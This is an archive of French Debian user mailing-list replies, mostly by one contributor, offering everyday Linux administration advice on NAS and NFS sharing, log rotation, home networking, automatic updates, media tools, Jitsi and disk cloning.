> Pour ma part, je tique un peu à l'idée de confier mes secrets à un
> tiers, même si ce tiers me garantit que la solution est sûre par
design.
> En effet, même en considérant que c'est effectivement le cas et
que je
> suis le seul à détenir les clés donnant accès à mes secrets, il n'en
> reste pas moins que je ne pourrai avoir accès à mes secrets qu'à
> condition que :
>
> * je continue à payer pour le service, l'export étant rarement
proposé
>    dans les offres SaaS ;
>
> * l'entreprise maintienne le service ;
>
> * aucune autorité administrative ou judiciaire ne décide de
bloquer mon
>    accès (ou l'accès de tous) au service.
>
> Or, mes secrets, j'y tiens (je tiens à ce qu'ils restent secrets
et je
> tiens à pouvoir y accéder). Du coup, à titre privé et personnel, je
> préfère utiliser KeePassXC (et son greffon KeePassXC-Browser),
> synchronisant mes bases entre mes PC via Unison, mais :
>
> * Dans le cadre du travail, j'ai déployé une instance de HashiCorp
>    Vault :
>
> https://www.vaultproject.io/ 
>
>    L'interface web n'est sans doute pas la plus conviviale que l'on
>    puisse imaginer, mais Vault présente l'avantage d'être
utilisable par
>    les humains et par « les machines » comme on dit.
>
> * À titre privé, j'envisage de déployer pour les autres membres
de ma
>    famille une instance de Bitwarden sur mon serveur :
>
>
>
>    Je n'ai encore jamais essayé cette application, mais plusieurs
>    personnes m'en ont dit du bien.
>
> Sébastien
>



--
david martin

Re: Hébergement de nom de domaine (sondage ultra rapide)

[Erwann Le Bras]

bonjour

Le 07/04/2021 à 18:08, kaliderus a écrit :

Bonjour,

Petit sondage ultra rapide (amusant) :

J'ai 3 domaines à enregistrer (juste besoin d'enregistrer et de
configurer mes DNS), dans ma situation, vers quels registrars
iriez-vous ?

Actuellement chez online, j'envisage de passer chez ikoula et vous ? pourquoi ?


Bon amusement.



bonjour

Personnellement j'ai un nom de domaine en .fr chez OVH depuis 11 ans.

Jamais constaté de pb ; propagation rapide des mises à jours.

amitiés

Erwann

Re: network-manager

[Erwann Le Bras]

bonjour

je suis perplexe : un tel script n'est pas difficile à faire.

En fait, ça réinitialise toutes les connexions en cours et le serveur de 
jeu, derrière, réinitialise la session.


Quel est le but derrière?

Le 22/03/2021 à 14:53, David Martin a écrit :

Bonjour,
Changer d'ip par exemple, et redémarrer le service.
mettre une valeur ip aléatoire toute les 15 minutes ou autres...

Automatiser quelque chose pour jouer sur un réseau.


amitiés,

--

Erwann

Re: Linux NAS demande de retour d'expérience.

[Erwann Le Bras]

... donc NFS pour le partage et une solution de sauvegarde type backuppc 
pour les sauvegardes.


Erwann

Le 18/03/2021 à 17:29, Billard François-Marie a écrit :

Bonjour,

En fait je souhaite disposer tester une solution de NAS en réutilisant 
une machine avec des postes clients sous Linux, pour du stockage de 
fichier et de la sauvegarde.


François-Marie


Le 18/03/2021 à 17:19, David BERCOT a écrit :

Bonjour Jean-Marie,

Peux-tu préciser ta demande ?
Tu voudrais installer une des options évoquées ci-dessous sur une 
machine Linux ?


Quels seraient les clients ? Du Linux ? Du Windows ? Une passerelle 
multimedia ?


Merci.

David.

Le 18/03/2021 à 16:50, Billard François-Marie a écrit :

Bonjour

quelle solution préconiser vous pour mettre en place une solution de 
NAS.


J'ai vu par exemple :

https://www.openmediavault.org/

https://archiveos.org/opennas/

Merci

François-Marie






amitiés,

--

Erwann

Re: Linux NAS demande de retour d'expérience.

[Erwann Le Bras]

bonjour

ces solutions packagent des outils standards ; ils sont intéressants 
dans la mesure où ils permettent une installation  et une administration 
simplifiée, mais peu évolutive (pas d'ajout d'une fonctionalité prévue 
par la solution)


c'est pour quoi faire d'abord?

 * pour un "simple" partage de fichier sur le réseau local : Debian+NFS
   (pour Windows)+Samba (pour Windows)
 * pour du partage/diffusion multimédia : ajouter UMS (Universal Media
   Player) par exemple
 * pour de la synchronisation de fichier (cloud) :  Debian+NextCloud

la sécurité et la disponibilité sont également à réfléchir

bonne réflexion.

Erwann

Le 18/03/2021 à 16:50, Billard François-Marie a écrit :

Bonjour

quelle solution préconiser vous pour mettre en place une solution de NAS.

J'ai vu par exemple :

https://www.openmediavault.org/

https://archiveos.org/opennas/

Merci

François-Marie


amitiés,

--

Erwann

Re: [HS] Recherche Développeur pour interview

[Erwann Le Bras]

Le 21/02/2021 à 10:49, Nicolas PECHON a écrit :
Bonjour, je vous transmet le message de ma fille . Merci d'y apporter 
votre attention.


Cordialement,


--

Bonjour,

Je suis une étudiante en informatique à l'université du mans.

Dans le cadre d'un de mes cours, mon camarade et moi devons 
d’interviewer un professionnel dans le domaine développement 
d’application hors web.


Si dans le cadre de votre profession, vous utilisez le langage C/C++ 
,l’assembleur ou autre, accepteriez-vous de participer  à cette interview


Cordialement,


bonjour

Tiens, je croyais que l'asm et le C/C++ étaient passés de mode ; je 
constate avec plaisir qu'ils sont toujours enseignés...


amitiés,

--

Erwann

Re: blocage au démarrage /var/ plein

[Erwann Le Bras]

Le 21/02/2021 à 22:10, roger.tar...@free.fr a écrit :

Merci à tous pour vos pistes instructives.

Je découvre qu'il se passe des choses étonnantes en matière de logs 
dans /var/log/ :


/var/log$ lla -h | grep G
total 7.7G
-rw-r- 1 root  adm    2.0G Feb 20 19:16 kern.log.1
-rw-r- 1 root  adm    1.5G Feb 21 00:00 messages.1
-rw-r- 1 root  adm    1.9G Feb 21 00:00 syslog.1

ça me semble énorme.
1/ Est-ce que je peux supprimer ces fichiers ? (plutôt oui)
2/ Quelle est la manière la plus propre d'éliminer/d'empêcher 
automatiquement des journaux aussi volumineux ? (je peux utiliser 
crontab et tester/éliminer fichier plus gros que..)




bonjour

1. à supprimer, oui, et tous les fichiers compressés au même niveau
2. en prévention :
1. Regarder qui loggue quoi et voir pour abaisser le niveau de log
   si besoin : si ça se trouve un truc loggue inopportunément en
   mode "debug" ; un vrai pb peut y être remonté et rabaché souvent
2. paramétrer /logrotate/ pour faire tourner et compresser ces
   fichier plus rapidement
3. un "barbu" appréciera un petit script en crontab "/hourly/" qui
   envoie un mail ou un sms en cas d'espace disque insuffisant
   (c-à-d à 80 ou 90% de l'espace occupé) ; un curieux
   expérimentateur ira regarder du côté de Nagios
3.

amitiés,

--

Erwann Le Bras

Re: NFS et Android TV

[Erwann Le Bras]

Le 18/02/2021 à 13:43, David BERCOT a écrit :


Bonjour,

J'utilise un serveur NFS sous Debian pour différents besoins 
(notamment photos, films et musique).
Jusqu'à très récemment (environ 2 semaines), tout fonctionnait bien 
via une passerelle NVidia Shield (et KODI).
Et depuis, j'ai des problèmes de performance surprenants (freeze et 
pixelisation).


J'ai donc fait plusieurs essais avec plusieurs outils : KODI, Mx 
Player, VIMU, etc.
Et bizarrement, en SMB, ça marche parfaitement alors qu'en NFS, c'est 
inutilisable (pire que "non fluide").
En revanche, de mon ordinateur (également en Debian et connecté en 
NFS), tout va bien.


J'avoue que je ne sais pas trop où et comment creuser.
Auriez-vous des pistes ? Des idées ?
Des choses à tester, vérifier ?

Merci d'avance.

David.


bonjour

Non, ma TV n'est pas si évoluée, elle ne sait pas se connecter à NFS ou 
SMB, elle se contente de se connecter à un serveur DNLA/UPNP.


J'ai donc installé Universal Media Player sur mon serveur qui présente 
le contenu au téléviseur.


amitiés,

--

Erwann

Re: Monter le partage samba IPC$

[Erwann Le Bras]

Le 18/02/2021 à 19:22, Patrick ZAJDA a écrit :
Du coup, y a-t-il la possibilité de monter tous les partages au sein 
d'un point de montage ?
Ou est-ce qu'il n'y a pas d'autre possibilité que créer un point de 
montage par dossier partagé ?



bonjour

Soit tu peux agir au niveau du serveur pour qu'il te présente un seul 
partage avec tous les dossiers pertinents dedans, soit il faut prévoir 
en local un dossier par partage à monter.


C'est fastidieux à préparer mais facilement scriptable ; une fois que le 
fstab est configuré correctement on y pense plus.


amitiés,

--

Erwann

Re: le réseau pour les nuls ?

[Erwann Le Bras]

Le 02/02/2021 à 08:28, david...@mailo.com a écrit :

Bonjour,

Chez moi, j'ai :
- plusieurs ordinateurs fixes et portables en debian-10 (RJ45 et Wifi)
- une free-box crystal (uniquement internet, pas de boitier tv)
- une imprimante avec une carte réseau
- 1 lecteur de dvd avec une prise réseau au dos

Je suis novice (nul ?) en réseaux domestiques, mais j'aimerais que 
n'importe quel ordinateur puisse partager de fichiers avec les autres, 
imprimer sur l'imprimante réseau et qu'on puisse regarder des dvd à 
partir du lecteur-dvd-réseau.


Est-ce que vous auriez quelques liens qui pourraient m'aider (le 
réseau pas à pas pour les nuls ?), adaptés à debian ? (je trouve 
beaucoup d'infos pour windows, peu pour linux)


d'avance merci,
David


bonjour

Je suppose que tout est branché derrière la Box qui s'occupe de 
distribuer les adresses réseaux, et que chacun se voit, tant en filaire 
qu'en wifi.


pour partager un répertoire réseau entre Debian, le mieux est de définir 
lequel parmi les ordinateurs fixes ferait le serveur ; les autres 
seraient client. Discriminant : disponibilité (allumé quand on a besoin 
d'accéder et espace disque nécessaire. Configurer la box pour lui donner 
une IP fixe ou veiller à ce qu'elle est un nom
Ensuite installer NFS sur le serveur (nfs-kernel-server) et configurer 
le répertoire à exporter (/etc/exports).


Installer NFS client sur les autres (nfs-common) et configurer fstab 
(/etc/fstab) pour monter le répertoire distant au boot.


Ne pas négliger l'aspect sauvegarde : les données sont mises à 
disposition, pas synchronisées, elles restent sur le serveur. En cas de 
crash, ya plus rien.


L'imprimante a une interface réseau ; il suffit de la déclarer sur 
chacune des machine, sans la partager à son tour. Cups fait ça très 
bien. La déclarer en "IP Fixe".


Le lecteur DVD réseau sait partager le contenu d'un DVD? Le mien ne sait 
pas, il ne sait qu'aller chercher un contenu partagé par NDLA/UPNP. S'il 
le peut j'imagine que VLC saurait se débrouiller avec...



Pour IP fixe : au boot, par défaut, une machine demande une adresse IP à 
un serveur DHCP qui lui en attribue une pour un temps limité. Elle est 
donc susceptible de changer régulièrement, ce qui peut être gênant pour 
s'adresser une machine en particulier par son adresse. On peut donc soit 
passer par son nom, soit forcer le serveur DHCP à attribuer toujours la 
même adresse. C'est ainsi que pour le serveur web de Debian, on préfère 
s'adresser à "www.debian.org" plutôt qu'à 130.89.148.77.



N'hésite pas si besoin :)

amitiés,

--

Erwann

Re: Comment supprimer les DRM d’un livre numérique (acheté, mais pas lisible sous GNU/Linux) ?

[Erwann Le Bras]

Le 15/02/2021 à 14:48, Stephane Ascoet a écrit :

Le 14/02/2021 à 18:46, Jérôme (haricophile.org) a écrit :


Pour les video de Arte Youtube et ailleurs, moi c'est youtube-dl (ou
youtube-dlc) mis à jour avec pip3 ( pip3 install --upgrade youtube-dlc
) mais ça ne concerne pas les DRM et autres jwplayers pourris.


Je n'aime pas Youtube-dl car il est en Java si ma memoire est bonne. 
Es-tu sur qu'il fonctionne pour le site d'Arte?
J'ai conserve ton courriel sur Youtube-dlc, mais ca me semble 
hyper-complique et je ne sais pas trop comment il s'utilise.



bonjour

Je confirme pour youtube-dl et Arte : ça fonctionne très bien et permet 
même de récupérer des des playlists/séries entières...


c'est très facile d'utilisation avec l'interface graphique 
correspondante (youtube-dl gui) indépendante.


amitiés,

--

Erwann

Re: télécharger une vidéo via vlc

[Erwann Le Bras]

bonjour

Media --> ouvrir un flux réseau
En bas de la fenêtre, la flèche vers le bas à côté de lire, choisir 
"convertir" et choisir son format de sortie.


amitiés

Le 25/01/2021 à 20:32, Bernard Schoenacker a écrit :

bonjour,

j'ai une Url one shot et je souhaiterai obtenir la possiblité
de télécharger une vidéo via VLC mais je ne me souvient plus
de la procédure ...

merci pour votre coup de pouce

boien à vous
Bernard


amitiés,

--

Erwann

Re: Extraction de CDs

[Erwann Le Bras]

bonjour

personnellement j'utilise XCFA (depuis les dépôts Debian) qui fonctionne 
très bien.


Pour tagguer les fichiers, MusicBrainz Picard, depuis les dépôts également.


Le 18/12/2020 à 22:07, Jean-Philippe MENGUAL a écrit :

Hello,

J'aimerais extraire les musiques d'un CD que j'ai depuis pas mal de 
temps, acheté dans le commerce. J'utilise asunder qui, en Jessie, 
récupérait bien les métadonnées (album, titre, artiste). Mais plus 
maintenant, ni en Buster, ni en Sid. Sauriez-vous comment le 
configurer pour retrouver ces infos? Ou une alternative qui fait mieux 
les choses?


Merci par avance de votre aide

Cordialement,


amitiés,

--

Erwann

Re: Mise à jour automatique

[Erwann Le Bras]

bonjour

pas besoin de bidouilles, le paquet cron-apt fait tout, via un fichier 
de config.


Je m'en sert pour installer automatiquement les mises à jour de 
sécurité, car je veux garder un œil sur le reste ; Nagios m'alerte si 
des paquets sont en attente.



Le 25/11/2020 à 16:01, firenze...@orange.fr a écrit :


Bonjour à tous,

Je cherche à automatiser les mises à jour Debian buster pour le compte 
d'un utilisateur qui vient tout juste d'abandonner Windows. Pour cela 
je tente de paramétrer unattended-upgrades avec des entrées en https 
dans les fichiers /etc/apt/sources.list et les fichiers du répertoire 
/etc/apt/sources.list.d. Forcément, en dehors de la liste des miroirs 
officiels de Debian, dont aucun ne semble en https.


En dépit de mes recherches sur internet, je n'ai pas réussi jusqu'à 
présent. J'ai testé sur un ordinateur cobaye pour voir, mais sans succès.




amitiés,

--

Erwann

Re: [1/2HS] La CNIL éjecte Microsoft du Health Data Hub

[Erwann Le Bras]

Le 09/10/2020 à 20:46, Michel a écrit :

Le 09/10/2020 à 19:10, ajh-valmer a écrit :

Désolé, info HS, mais elle mérite le détour.

Quand nos administrations vont-elles cesser avec Microsoft ?

Coup de tonnerre :
la CNIL a demandé à tous les acteurs de la santé d'arrêter,
dans un délai aussi bref que possible, d'héberger leurs données
de santé chez une société de droit américain (Microsoft).

L'Etat doit donc chercher un nouvel hébergeur pour le Health Data Hub,
le plus grand fichier de données de santé français, hébergé par Microsoft.


Tiens, je viens de voir un entretien sur Arte où ils expliquent qu'il y
a des erreurs dans le décompte des personnes atteintes du covid en
Grande Bretagne: le décompte national est réalisé sur une feuille excel!


Le problème n'est pas Excel mais la façon dont ils s'en sont servi.

Sans savoir comment ils procèdent c'est difficile de se faire une idée.

Erwann

Re: Modification user 1000

[Erwann Le Bras]

Oui, je préférerai :

1. changer le UID de l'utilisateur dans /etc/passwd
2. créer un nouvel utilisateur, avec l'ancien UID
3. déplacer les fichiers à conserver de l'ancien au nouveau compte, y
   compris tous les ".machin" intéresssants à conserver.
4. enfin, changer le IUD de l'arborescence du $HOME de l'ancien compte
   pour garder la cohérence.
5. Archiver ce qui reste ou supprimer le compte au bout d'un délai de
   grâce pour faire propre.

Erwann

Le 23/08/2020 à 14:17, hamster a écrit :


Je reviens donc a ma conclusion : renommer un compte c'est le bordel !

Re: [HS] recherche boite mail

[Erwann Le Bras]

laposte.net.

parfois capricieux.

Le 24/08/2020 à 12:46, David a écrit :

Bonjour,

Je cherche à créer des boites mail gratuites ou l'on peut créer 
plusieurs alias... et si possible hors-gafam (pas gmail par exemple), 
pour les membres de ma famille.


Est-ce que vous avez un/des sites à me conseiller ?

d'avance merci pour vos réponses
David

Re: Comment interdire certains sites web à un utilisateur donné ou limiter le temps d'utilisation ?

[Erwann Le Bras]

bonsoir

Attention, vu pendant le confinement, certaines ressources pédagogiques 
sont sur Youtube, tout n'est pas sur Lumni. L'interdire est donc 
préjudiciable.


Le 24/08/2020 à 13:59, Olivier a écrit :

Bonjour,

C'est bientôt la rentrée et le moment des bonnes résolutions.
J'ai équipé mon fils d'un Raspi sous Raspbian.

Comment faire pour :
1. qu'il ne puisse pas surfer sur certains sites (Youtube, ...),
2. limiter le temps d'utilisation.

Ses droits sur la machine sont ceux d'un simple utilisateur non-root.
C'est la dernière version de Raspbian basée sur Buster.

Slts

Re: Free, IP fixe et IPv6

[Erwann Le Bras]

bonjour

pour quel usage l'IP statique?

 * L'IP fixe externe est à demander dans ses paramètres de gestion de
   compte free.fr (https://subscribe.free.fr/login/)
 * L'IP fixe du client se configure sur l'interface de la freebox
   (http://mafreebox.freebox.fr/), réseau local -> DHCP -> baux statiques

Au niveau du client, rester en DHCP, vu que c'est la Freebox qui 
poussera la config réseau


amitiés

Erwann

Le 17/08/2020 à 21:03, Klaus Becker a écrit :

Bonsoir,

depuis peu, j'ai une Freebox Delta S. Sur openspeedtest.com, j'obtiens 
un débit de téléchargement jusqu'à presque 800 Mo/s ce qui n'est pas 
rien. En DHCP.


Je vois:
$ cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 192.168.1.254
nameserver fd0f:ee:b0::

C'est très bien, mais je n'arrive pas à passer en ip fixe. J'ai fait 
ça il y a longtemps chez Free sans difficulté, mais il y a peut-être 
des choses qui ont changé.


Sous unstable et XFCE4, j'essaye avec networkmanager.

J'indique l'adresse IPv4 à l'intérieur de la "Plage d'adresses IP du 
DHCP" que je trouve sur mon espace perso chez Free : 192.168.0 
Puis la passerelle 192.168.0 que je trouve au même endroit sous 
"Adresse IP de la Freebox". Je donne 255.255.255.0 comme masque de 
réseau. Networkmanager la corrige ensuite en 24, mais ce n'est pas ça 
le problème à mon avis.


Avec cette config, je n'ai plus de connection au web. Un "ping 
free.fr" fonctionne, mais pas avec une autre adresse. Qu'est-ce qui 
cloche là?


Puis j'essaye en vain de configurer une ip fixe en IPv6. L'adresse et 
la passerelle sont certainement les mêmes qu'en IPv4, mais je ne peux 
pas indiquer de préfixe IPv6. Le champ de networkmanager n'accepte que 
des chiffres alors que sur le site de Free ce préfixe contient des 
lettres, des ":" et même ":::/". Je trouve cela sous "Gestion Freebox 
- Afficher mon adresse IP et les caractéristiques de ma ligne".


Il y a certainement des gens ici qui peuvent me renseigner à ce sujet.

bye bye
Klaus

Re: Liste des IP des dépôts Debian

[Erwann Le Bras]

Le 14/07/2020 à 00:15, NoSpam a écrit :

Bonsoir

Le 13/07/2020 à 19:07, Bernard Schoenacker a écrit :

- Mail original -

[...]
certes en faisant un host du domaine j'ai l'ip, mais elle semble
changer
tout les 2-3 jours.

[...]

bonjour,

pourquoi vouloir continuer de mouler sur son rocher alors que
la solution est très facile à trouver ?


voici ma solution :

-a) utiliser la liste officielle des dépots debian indiquants les 
domaines

-b) réaliser un scipt utilisant dig (dnsutils)
-c) extraite l'adresse IPv4


Bernard, le Monsieur dit que les adresses changent tous les 2~3 jours, 
en quoi ta solution est pérenne ?
Bernard a oublié le point d) : lancer le script tous les jours et mettre 
à jour la liste des IP

Re: Debian pour des navigations bateau ?

[Erwann Le Bras]

merci pour cette intéressante mise aux point.

En somme la cartographie, c'est comme les infos : il vaut mieux recouper 
les sources pour se faire une idée précise de la situation.
Et celui qui n'a jamais fait plus de trois retouches sur ces outils, je 
salue quand même le résultat produit.


amitiés

Le 29/05/2020 à 00:04, Sébastien Dinot a écrit :

Bonsoir,

kaliderus a écrit :

Oui je connais l'outil openseamap, le soucis est la qualité des
informations, ayant comparé par curiosité sur un secteur dont j'ai une
carte officielle, on est bien loin de la réalité du SHOM :-(

Diantre, l'emploi du terme « réalité » dans ce contexte ne peut que
faire réagir le mappeur que je suis.

Entendons-nous bien, à aucun moment, je ne voudrais faire croire
qu'OpenStreetMap ou OpenSeaMap sont des cartes complètes et à la
fiabilité garantie. Primo, la qualité de la donnée OS est très
hétérogène. Elle va selon l'endroit considéré, de la feuille blanche
à la donnée la plus complète et fiable qui existe, en passant par des
tracés très approximatifs. Secundo, en 11 ans de contribution massive
à OSM, j'ai pu constater que notre territoire était bien plus vivant que
le quidam ne l'imagine. Même la donnée qui a reflété fidèlement la
réalité à un instant précis peut être totalement erronée à l'heure où on
s'en sert. L'IGN et le SHOM n'échappent pas à cette obsolesence et ce
d'autant moins que leurs moyens humains sont peut-être plus limités que
ceux d'OSM (mais il compensent avantageusement par des méthodes et des
outils de pointe, des moyens matériels sans commune mesure avec ceux
à disposition des particuliers et un historique dépassant le siècle).

Ainsi, on peut tout aussi bien prendre en défaut la donnée du SHOM que
celle de l'IGN. Je connais mieux la cartographie terrestre et je peux
donc être plus péremptoire au sujet de l'IGN : je connais des endroits
où les cartes de l'IGN n'ont pas été révisées depuis des décennies
(sic !), des endroits où elles contiennent des erreurs grossières (il
m'est même arrivé par deux fois de me perdre en randonnée pour avoir
fait trop confiance à une carte Top25 de l'IGN). Et je connais des
endroits où OSM reflète plus fidèlement la réalité du terrain que les
cartes de l'IGN. Il y a quelques années, l'IGN commettait l'erreur de
mesurer la qualité d'OSM en prenant la donnée de l'IGN en référence.
Après s'être ridiculisé plus d'une fois, l'IGN a arrêté. Seule un relevé
de terrain minutieux et récent constitue une référence solide.

Quant à la donnée du SHOM, elle est faite de bric et de broc. Par
exemple, la base bathymétrique contient aussi bien des relevés très
récents, effectués avec des technologies de pointe, que des relevés
effectués au 19ème siècle, avec les moyens de l'époque et un
géoréférencement dont je vous laisse deviner la précision. Et quid des
bancs de sable qui se déplacent dans la manche au gré des courants à une
vitesse telle qu'ils ont donné naissance aux bateaux-phares.

Pour en revenir à l'IGN, voici une petite anecdote. Il y a quatre ou
cinq ans, l'un de mes collègues a été chargé d'évaluer la qualité d'un
outil d'orthorectification en zone très accidentée. Pour cela, il lui
fallait une référence fiable. Il a donc recherché la géolocalisation
précise (longitude, latitude et altitude) d'une aiguille des Alpes dont
le sommet est un ovoïde étroit, ne dépassant pas les 10 mètres de long.
Il a trouvé 4 références considérées comme très fiables, dont 2 en
provenance de l'IGN. Quelle n'a pas été sa surprise de constater que les
coordonnées du sommet dans ces bases institutionnelles variaient d'une
base à l'autre de 120 m en planimétrie et de 20 m en altimétrie (sic !).
Et de mémoire, les deux points les plus éloignés étaient les deux en
provenance de l'IGN.

Bref, la cartographie est un art difficile et éphémère : à l'instar de
la planification en informatique, le terrain bouge et lui donne tort
sitôt la carte établie. :)

Sébastien

PS : Ce n'est pas pour la beauté du geste que Toulouse Métropole
  commande une nouvelle orthophotographie des 460 km2 de la
  « métropole » tous les deux ans.

Re: [HS] Cloner depuis Debian un disque Win10 Lenovo

[Erwann Le Bras]

Le 25/05/2020 à 18:31, Olivier a écrit :

Bonjour,

Je souhaite remplacer une disque rotatif de 1 To par un SSD de 512 Go.
Le disque appartient à un PC portable Lenovo sous Windows 10 (ça 
existe, malheureusement).


J'ai démonté le disque d'origine et l'ai installé dans un double 
lecteur SATA sur port USB.
J'ai aussi installé le disque cible sur ce double lecteur SATA sur 
port USB.




bonjour

J'ai fait la même opération sur un portable Lenovo (Yoda 300), en 
changeant le disque 512G par un  SSD de 256Go


Tu peux facilement copier chaque partition dans l'ordre avec GParted, en 
redimensionnant les partitions (ici surtout "WINDOWS" pour que tout 
rentre sur le SSD.


Pour que GParted puisse accéder et réduire les partitions NTFS, les 
utilisateurs doivent être déconnectés, Windows arrêtés et les disques 
défragmentés. Tu peux faire réduire les partitions principales par le 
gestionnaire de disque de Windows, la tâche de GParted n'en sera que 
plus facile.


Assure-toi que les partitions sont dans le même ordre, ont gardé le même 
ID et remets les drapeaux corrects (HIDDEN, BOOT, DATA).


De mémoire l'une des partitions bizzares a occasionné un échec sous 
GParted mais c'est passé inaperçu ensuite.


Tu peux ensuite remettre le disque en place.

Ya une manip ensuite à appliquer pour que le boot UEFI démarre sur la 
bonne partition (partition LENOVO de mémoire). Elle nécessite un disque 
de réparation Windows 10.  Les deux se trouvent facilement sur Internet.


Me concernant, l'opération a été un succès, le PC a redémarré 
normalement à la fin. Il se peut que Windows trouve le disque en bazar 
et applique une réparation, mais tout s'est bien terminé.


Pense à sauvegarder les données avant sur un disque externe.

bon courage

Erwann

Re: Jitsi sur serveur debian/testing

[Erwann Le Bras]

bonjour

un article sur Jitsi : 
https://linuxfr.org/news/organiser-des-visioconferences-de-haute-qualite-avec-le-logiciel-libre-jitsi-meet


amitié socialement distancée

Erwann

Le 11/04/2020 à 14:49, BERTRAND Joël a écrit :

Bonjour à tous,

J'essaie d'installer jitsi sur l'un de mes serveurs et je sèche. J'ai
besoin d'une authentification (je ne veux pas que n'importe qui puisse
faire n'importe quoi sur un serveur accessible sur internet).

J'ai donc installé les paquets suivants :

- jicofo
- jitsi-meet
- jitsi-meet-prosody
- jitsi-meet-web
- jitsi-meet-web-config
- jitsi-videobridge

et configuré apache en conséquence pour qu'il réponde sur
https://jitsi.systella.fr

Lorsque j'entre le nom d'une conférence, il me propose d'entrer un login
et un mot de passe, ce que je fais (login et mot de passe configuré dans
/etc/jitsi/jicofo/config). Le couple login/mot de passe est le bon,
parce que si j'en essaie un autre, je me prends directement une erreur
d'authentification. Le problème est qu'avec le bon login/mot de passe,
ça reste bloqué à l'étape "connecting"... Et je ne sais pas comment
débuguer la chose.

Dans le fichier /var/log/jitsi/jvb.log, j'ai un certain nombre de
lignes qui se répètent, mais je ne sais pas si c'est relié à mon problème :

JVB 2020-04-11 14:46:44.857 PRÉCIS: [308]
org.jitsi.videobridge.xmpp.ComponentImpl.processIQ() (serving component
'JitsiVideobridge') Processing IQ (packetId IJ696-532242): 
JVB 2020-04-11 14:46:48.388 PRÉCIS: [539]
org.jitsi.videobridge.xmpp.ComponentImpl.processIQ() (serving component
'JitsiVideobridge') Processing IQ (packetId wrGd7-1419318): http://jabber.org/protocol/disco#info"/>
JVB 2020-04-11 14:46:48.388 PRÉCIS: [539]
org.jitsi.videobridge.xmpp.ComponentImpl.processIQRequest() (serving
component 'JitsiVideobridge') Processing IQ request (packetId
wrGd7-1419318).
JVB 2020-04-11 14:46:48.388 PRÉCIS: [539]
org.jitsi.videobridge.xmpp.ComponentImpl.processIQ() (serving component
'JitsiVideobridge') Responding to IQ (packetId wrGd7-1419318) with: http://jabber.org/protocol/disco#info;>http://jabber.org/protocol/disco#info"/>http://jitsi.org/protocol/colibri"/>http://jitsi.org/protocol/healthcheck"/>
JVB 2020-04-11 14:46:49.330 INFOS: [26]
org.jitsi.videobridge.Videobridge.log() CAT=stat
create_conf,conf_id=ddae609a65851434
conf_name=null,logging=false,conf_count=1,ch_count=0,v_streams=0
JVB 2020-04-11 14:46:49.363 INFOS: [26]
org.jitsi.videobridge.health.Health.log() Performed a successful health
check in 33ms. Sticky failure: false
JVB 2020-04-11 14:46:54.858 PRÉCIS: [543]
org.jitsi.videobridge.xmpp.ComponentImpl.processIQ() (serving component
'JitsiVideobridge') Processing IQ (packetId IJ696-532244): 
JVB 2020-04-11 14:46:59.363 INFOS: [26]
org.jitsi.videobridge.Videobridge.log() CAT=stat
create_conf,conf_id=311f6df3b210cfb8
conf_name=null,logging=false,conf_count=1,ch_count=0,v_streams=0
JVB 2020-04-11 14:46:59.397 INFOS: [26]
org.jitsi.videobridge.health.Health.log() Performed a successful health
check in 34ms. Sticky failure: false

Ce que je cherche à faire :
- que seul un utilisateur ayant un certain login/mot de passe puisse
créer une conférence ;
- que les autres utilisateurs ne peuvent l'utiliser qu'en étant
authentifiés eux aussi.

Toute idée sera la bienvenue.

Bien cordialement,

JKB

Re: Écouter un fichier .wav par SSH

[Erwann Le Bras]

c'est ce que j'avais suggéré, mais ça ne lui plait pas...

Le 16/04/2020 à 08:58, Pierre Malard a écrit :



Le 9 avr. 2020 à 16:04, Olivier <mailto:oza.4...@gmail.com>> a écrit :


J'aurai du préciser que la machine virtuelle "distante" est un 
serveur headless "sans pile graphique" (ni X, ni alternative).
Le PC sur lequel j'essaie d'écouter est sous Jessie/Gnome et il 
n'accepte aucune connexion entrante.


Ce que je recherche est une solution de confort pour éviter d'avoir à 
copier des fichiers ou à jongler d'une console à l'autre.


Et VLC en ligne de commande ?
https://wiki.videolan.org/Documentation:Streaming_HowTo/Command_Line_Examples/



Le jeu. 9 avr. 2020 à 14:49, Erwann Le Bras 
mailto:erwann.le-b...@laposte.net>> a 
écrit :


bonjour

c'est la VM qui héberge les fichiers audio?

des idées en vrac

-partager un répertoire par SSHFS me semble une bonne idée et très
simple à mettre en place. Faut monter/démonter à chaque fois. Un
script
qui enchaîne le tout en automatique peut rendre la solution plaisante

-activerun petit serveur upnp activé au démarrage est déjà plus
rigolo
mais peut-être un peu lourd pour un seul client

- programmer vlc-nox pour streamer les fichiers audios au
démarrage a ma
préférence : ça fait webradio personnelle et flatte le barbu qui
sommeille en nous

Erwann

Le 09/04/2020 à 08:17, Olivier a écrit :
> Bonjour,
>
> J'ai une une machine virtuelle KVM invitée sur mon réseau local.
> L'OS de cette VM est Debian Buster
>
> Quand je  me connecte à la machine "par la console VMM" et je
tape la
> commande "aplay foobar.wav", j'entends le contenu du fichier
sur mon
> propre PC (aplay du paquet alsa-utils)
>
> Quand je me connecte par SSH à la même machine et je tape la
commande
> "aplay foobar.wav",je n'entends.
>
> Quand je tape sur mon PC "ssh foo@bar 'cat foobar.wav' | aplay" ,
> j'entends le contenu du fichier.
>
> J'ai essayé sans succès "DISPLAY=:0 aplay foobar.wav" (re-copiée
> bêtement de [1]), je n'entends rien.
>
> Pour la beauté du geste, quelqu'un a-t-il une solution ?
>
> [1]
>

https://superuser.com/questions/823904/play-sound-on-remote-machine-via-ssh-on-ubuntu-linux
>
> Slts



--
Pierre Malard
Responsable architectures système GeoSUD
IRD - UMR Espace-Dev
Maison de la Télédétection
500 rue Jean-François Breton
34093 Montpellier Cx 5
France

   « /Le socialisme vrai ne veut pas renverser l'ordre des classes ;/
/   il veut fondre les classes dans une organisation du travail qui/
/   sera meilleure pour tous /»
                      Jean Jaures - "Les misères du patronat" - 1890
        _,'|   _.-''``-...___..--';)
       /_ \'.  __..-' ,      ,--...--'''
      <\    .`--'''       `     /'
       `-';'     ;   ; ;
 __...--'' ___...--_..'  .;.'
(,__''' (,..--''        πr

perl -e '$_=q#: 3|\ 5_,3-3,2_: 3/,`.'"'"'`'"'"' 5-.  ;-;;,_:  |,A-  ) 
)-,_. ,\ (  `'"'"'-'"'"': '"'"'-3'"'"'2(_/--'"'"'  `-'"'"'\_): 
24πr::#;y#:#\n#;s#(\D)(\d+)#$1x$2#ge;print'

- --> Ce message n’engage que son auteur <--

Re: Écouter un fichier .wav par SSH

[Erwann Le Bras]

sisi, tu ne t'en rends pas compte, mais le fichier est téléchargé pour y 
avoir accès.


Le 15/04/2020 à 20:50, hamster a écrit :

